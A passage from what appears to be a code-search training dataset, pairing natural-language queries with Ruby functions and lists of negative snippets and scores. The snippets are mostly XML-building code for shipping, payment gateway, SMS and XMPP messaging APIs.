'EMAIL_NOTIFICATION')\n special_services_node << XmlNode.new('EMailNotificationDetail') do |email_node|\n email_node << XmlNode.new('Recipients') do |recipients_node|\n recipients_node << XmlNode.new('EMailNotificationRecipientType', 'RECIPIENT')\n recipients_node << XmlNode.new('EMailAddress', options[:shipper_email])\n recipients_node << XmlNode.new('NotificationEventsRequested', 'ON_SHIPMENT')\n recipients_node << XmlNode.new('Format', 'HTML')\n recipients_node << XmlNode.new('Localization') do |localization_node|\n localization_node << XmlNode.new('LanguageCode', 'EN')\n end\n \n end\n end\n end\n \n rs << XmlNode.new('LabelSpecification') do |label_node|\n label_node << XmlNode.new('LabelFormatType', 'COMMON2D')\n label_node << XmlNode.new('ImageType', options[:image_type] || 'PDF')\n label_node << XmlNode.new('LabelStockType', options[:label_stock_type] || 'PAPER_8.5X11_TOP_HALF_LABEL')\n if options[:label_stock_type] == 'STOCK_4X6.75_LEADING_DOC_TAB'\n label_node << XmlNode.new('LabelPrintingOrientation', 'TOP_EDGE_OF_TEXT_FIRST')\n end\n end\n \n rs << XmlNode.new('RateRequestTypes', 'ACCOUNT')\n rs << XmlNode.new('PackageCount', 1)\n\n rs << XmlNode.new('RequestedPackageLineItems') do |rps|\n rps << XmlNode.new('SequenceNumber', 1)\n rps << XmlNode.new('Weight') do |tw|\n tw << XmlNode.new('Units', imperial ? 'LB' : 'KG')\n tw << XmlNode.new('Value', [((imperial ? package.lbs : package.kgs).to_f*1000).round/1000.0, 0.1].max)\n end\n \n # add customer references in here\n if options[:po_number]\n rps << XmlNode.new('CustomerReferences') do |reference_node|\n reference_node << XmlNode.new('CustomerReferenceType', 'P_O_NUMBER')\n reference_node << XmlNode.new('Value', options[:po_number])\n end\n end\n if options[:invoice_number]\n rps << XmlNode.new('CustomerReferences') do |reference_node|\n reference_node << XmlNode.new('CustomerReferenceType', 'INVOICE_NUMBER')\n reference_node << XmlNode.new('Value', options[:invoice_number])\n end\n end\n if options[:alcohol] && options[:alcohol] == true\n service_type = 'ALCOHOL'\n option_type = 'ADULT'\n else\n service_type = 'SIGNATURE_OPTION'\n option_type = 'DIRECT'\n end\n rps << XmlNode.new('SpecialServicesRequested') do |special_services_node|\n special_services_node << XmlNode.new('SpecialServiceTypes', service_type)\n special_services_node << XmlNode.new('SignatureOptionDetail') do |ot|\n ot << XmlNode.new('OptionType', option_type)\n end\n end\n end\n end\n end\n xml_request.to_s\n end",
"def content_type\n \"text/xml\"\n end",
"def set_xml_output\n @xml_out = true\n end",
"def create\n if params[\"CustomerNickname\"] != \"TOMCTA\"\n render :xml => %Q{\n <TxTNotifyResponse> \n <Error> \n <ErrorCode>201</ErrorCode> \n <ErrorMessage>Customer Nickname is not valid</ErrorMessage> \n </Error> \n </TxTNotifyResponse>\n }, :status => 422\n return\n end\n\n if params[\"CustomerNickname\"] != \"TOMCTA\"\n render :xml => %Q{\n <TxTNotifyResponse> \n <Error> \n <ErrorCode>201</ErrorCode> \n <ErrorMessage>Customer Nickname is not valid</ErrorMessage> \n </Error> \n </TxTNotifyResponse>\n }, :status => 422\n return\n end\n\n if params[\"Message\"].blank? || params[\"PhoneDestination\"].blank? || params[\"XMLResponse\"].blank?\n render :xml => %Q{\n <TxTNotifyResponse> \n <Error> \n <ErrorCode>201</ErrorCode> \n <ErrorMessage>Expected Message, PhoneDestination, AdminEmail, and XMLResponse</ErrorMessage> \n </Error> \n </TxTNotifyResponse>\n }, :status => 422\n return\n end\n\n # Recording the outbound message could be a bottleneck, but this CellTrust's gateway has a 400ms lag, so it's realistic.\n # CellTrust can receive messages asynchronously, so an even more realistic test would have several Mongrels behind\n # an HTTP proxy.\n TxtGatewayMessage.create!(\n :message => params[\"Message\"],\n :mobile_number => params[\"PhoneDestination\"],\n :accepted_time => Time.now\n )\n \n render :xml => %Q{\n <TxTNotifyResponse> \n <MsgResponseList> \n <MsgResponse type=\"SMS\"> \n <Status>ACCEPTED</Status> \n <MessageId>#{random_message_id}</MessageId> \n </MsgResponse> \n </MsgResponseList> \n </TxTNotifyResponse> \n }\n end",
"def to_xml(options = T.unsafe(nil), &block); end",
"def send(*args)\n puts \"Warning: Sf1Driver#send is deprecated, use Sf1Driver#call instead\"\n\n call(*args)\n end",
"def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end",
"def to_xml \n return @_xml unless @_xml.empty?\n @_xml << \"<wddxPacket version='1.0'>\"\n if @comment.nil?\n @_xml << \"<header/>\"\n else\n @_xml << \"<header><comment>#{@comment}</comment></header>\"\n end\n @_xml << \"<data>\" \n if @data.size.eql?(1)\n @_xml << @data \n else \n @_xml << \"<array length='#{@data.size}'>\"\n @_xml << @data\n @_xml << \"</array>\"\n end \n @_xml << \"</data></wddxPacket>\"\n @_xml = @_xml.join('')\n @_xml\n end",
"def xml?\n return unless subtype\n\n subtype == 'xml'\n end",
"def xml(*args, &blk)\n XML.new(*args, &blk)\nend",
"def rss\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend",
"def edit_transportXML(carbon_home,https_port) \n\n\n\tFile.open(File.join(carbon_home , 'conf','transports.xml')) do |config_file|\n\t\t# Open the document and edit the port (transport.xml)\n\t\tdoc= Document.new(config_file)\n\t\t\t\n\t\tif doc.root.elements['transport'].attributes['name'].eql? \"https\"\n\t\t\tdoc.root.elements['transport'].elements[\"parameter\"].text=https_port\n\t\telse\n\t\t\tputs \"Cannot find https transport element\"\n\t\t\texit\n\t\tend\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_transports.xml'), 'w') do |result|\n\t\tformatter.write(doc, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','transports.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_transports.xml'),File.join(carbon_home , 'conf','transports.xml') )\nend",
"def data_xml\n headers[\"content-type\"]=\"text/html\";\n end",
"def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end",
"def instruct!(*args)\n # TODO should we switch XML instruction off if `instruct!` is not called?\n __warn(\"Custom XML instructions are not supported\")\n end",
"def index\n \n respond_to do |format|\n format.html #\n format.xml {disable_action}\n end\n end",
"def publish_xml(publisher, activity_xml)\n publisher.publish_xml(activity_xml)\n end",
"def bare\n x = Builder::XmlMarkup.new(:indent => 2)\n x.instruct!\n x.declare! :DOCTYPE, :Request, :SYSTEM, HostConnect.config.dtd\n x\n end",
"def edit_transportXML(carbon_home,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','transports.xml')) do |config_file|\n\t\t# Open the document and edit the port (transport.xml)\n\t\tdoc= Document.new(config_file)\n\t\t\t\n\t\tif doc.root.elements['transport'].attributes['name'].eql? \"https\"\n\t\t\tdoc.root.elements['transport'].elements[\"parameter\"].text=https_port\n\t\telse\n\t\t\tputs \"Cannot find https transport element in transport.xml\"\n\t\t\texit\n\t\tend\t\t\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_transports.xml'), 'w') do |result|\n\t\tformatter.write(doc, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','transports.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_transports.xml'),File.join(carbon_home , 'conf','transports.xml') )\nend",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def to_xml(options = T.unsafe(nil)); end"
] |
[
"0.6322605",
"0.61638576",
"0.61638576",
"0.6095486",
"0.6079925",
"0.60325825",
"0.60082626",
"0.5888975",
"0.5869322",
"0.57792896",
"0.5704799",
"0.5702801",
"0.569711",
"0.56082654",
"0.5586002",
"0.55767334",
"0.55663306",
"0.55534667",
"0.5531707",
"0.5528327",
"0.5491942",
"0.5460685",
"0.54520035",
"0.54341984",
"0.542865",
"0.5425342",
"0.5400827",
"0.539908",
"0.53954196",
"0.53726494",
"0.5318764",
"0.5288836",
"0.5287758",
"0.5257352",
"0.5248988",
"0.5221951",
"0.5221951",
"0.5221951",
"0.5221951",
"0.5221951",
"0.5221951",
"0.5217973",
"0.5187859",
"0.5144378",
"0.51357466",
"0.51323384",
"0.5114107",
"0.50858146",
"0.50757635",
"0.50757635",
"0.5074442",
"0.5060583",
"0.5060583",
"0.5054709",
"0.50541306",
"0.50541306",
"0.50541306",
"0.5039588",
"0.50387627",
"0.5038451",
"0.5037525",
"0.5034542",
"0.50278896",
"0.5021422",
"0.50132155",
"0.50016606",
"0.49971294",
"0.49915054",
"0.4988816",
"0.49717027",
"0.49714273",
"0.496637",
"0.49660826",
"0.49537465",
"0.49537465",
"0.49537465",
"0.49503332",
"0.49449918",
"0.49445513",
"0.49422273",
"0.49403697",
"0.49402845",
"0.49378908",
"0.49314025",
"0.4922024",
"0.49093568",
"0.4908237",
"0.49045378",
"0.49041507",
"0.4895944",
"0.48945993",
"0.48875454",
"0.48862338",
"0.48834488",
"0.48824227",
"0.48762098",
"0.4874406",
"0.48708382",
"0.48615903",
"0.48611933"
] |
0.5550901
|
18
|
Handles xmpp2restmessages that are received.
|
def handleMessage(msg)
if msg != nil and msg.type == :chat and msg.body #and msg.from == @@visualRESTmain
#puts "#{msg.from}:"
#puts "#{msg.body.strip}"
puts "Validating.."
begin
doc = XML::Document.string(msg.body)
doc.validate(@dtd)
puts "..xml was valid".background(:green)
rescue => e
puts "..xml NOT valid!".background(:red)
notification = {:receiver => msg.from, :message => "xml not valid"}
sendMessage(notification, @receive_client)
return
end
puts "Parsing.."
begin
method = (doc.find_first('//xmpp2rest/method')) ? doc.find_first('//xmpp2rest/method').content.to_s : nil
method = method.downcase
case method
when 'create'
Thread.new{
createResouce(doc, msg.from)
}
when 'read'
Thread.new{
readResouce(doc, msg.from)
}
when 'update'
Thread.new{
updateResouce(doc, msg.from)
}
when 'delete'
Thread.new{
deleteResource(doc, msg.from)
}
else
puts "unknown method"
end
rescue Exception => e
puts "Problem in parsing xml-filelist: " + e.to_s
puts " --line " + e.backtrace[0].to_s
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_msgs\n end",
"def receive_msg msg\n # stub, overwrite this in your handler\n end",
"def process_response\n case @msg.sip_method\n when :INVITE\n if client_transaction = @msg.connection.class.invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response(@msg)\n return\n end\n when :ACK\n when :CANCEL\n if client_transaction = @msg.connection.class.invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response_to_cancel(@msg)\n return\n end\n else\n if client_transaction = @msg.connection.class.non_invite_client_transactions[@msg.via_branch_id]\n client_transaction.receive_response(@msg)\n return\n end\n end\n log_system_debug \"ignoring a response non matching a client transaction (#{@msg.sip_method} #{@msg.status_code})\" if $oversip_debug\n end",
"def received\n end",
"def get_messages\n @connection.uid_search(@filter).each do |message|\n puts \"PROCESSING MESSAGE #{message}\"\n body=@connection.uid_fetch(message,\"RFC822\")[0].attr[\"RFC822\"]\n @processor.process(body, @options)\n @connection.uid_copy(message, 'Processed')\n\n @connection.uid_store(message,\"+FLAGS\",[:Deleted])\n end\n @connection.expunge\n #@connection.delete_all\n end",
"def received(message)\n if message.respond_to?(:encoding) && message.encoding != 'UTF-8'\n message.force_encoding 'UTF-8'\n end\n data = JSON.parse message, :symbolize_names => true\n\n case data[:type]\n when 'text'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.message @user, data[:text], name_color, data[:client_ts]\n when 'av-invite', 'av-accept', 'av-close'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n av_message data\n when 'sync'\n @last_event_id = data[:last_event_id].to_i\n sync_events\n when 'ping'\n respond pong: { nonce: data[:nonce], client_ts: data[:client_ts] }\n when 'relay'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.relay @user, data[:to], data[:body], data[:client_ts]\n end\n end",
"def process_messages\n # Check status for all streams, reopen as necessary\n @streams.each { |_, stream| try { stream.keep_alive } }\n\n # Actual processing of incoming messages happens in event callbacks\n # Oбрабатываем пришедшее сообщение в интерфейсах обратного вызова\n @conn.ProcessMessage2(100)\n end",
"def receive_sms\n uninitialize_sms\n body = params[:Body]\n phone_number = normalize_phone params[:From].strip\n @problem_text = body.split\n action = sms_parsing(body).downcase\n if action == \"join\"\n sms_create_account\n return\n elsif Account.find_by_phone_number(phone_number) == nil\n sms_send(params[:From], \"Please first create an account by texting the word 'join'.\")\n return\n end\n if !@sms_error\n case action\n when /^add$/,/^insert$/\n sms_create\n when /^accept$/\n sms_accept_problem\n when /^get$/\n @offset = false\n sms_get(0)\n when /^edit$/\n sms_edit\n when /^delete$/, /^destroy$/\n sms_delete\n when /^next$/\n offset = session[\"offset\"]\n if offset == nil\n sms_error(\"Sorry, there is no saved session right now. Please first text \\\"GET\\\" with @location !skill %number of texts you want to allow.\")\n else\n @offset = true\n sms_get(offset)\n end\n when /^detail$/, /^details$/, /^describe$/\n sms_detail\n when /^account$/\n forgot_acc\n when /^change$/\n sms_change_password\n when /^password$/\n forgot_password\n# when /^skill$/, /^skills$/\n# sms_skill\n when /^keywords$/, /^key$/, /^keys$/, /^help$/\n sms_keywords\n when /^explain$/\n sms_explain\n else\n if is_num?(action)\n session[:received_confirmation] = action\n sms_confirm_acc\n else\n sms_wrong_keyword\n end\n end\n end\n render :nothing => true\n end",
"def receive_response(response); end",
"def handle_message(request, message)\n #\n end",
"def process_xml_from_socket(xml)\n sleep 0.1 while wait_for_consume?\n\n Jabber.debug(\"RECEIVED:\\n#{xml}\")\n\n consume_xml_by_handlers(xml) || consume_xml_by_filters(xml)\n end",
"def received message, headers={}\n end",
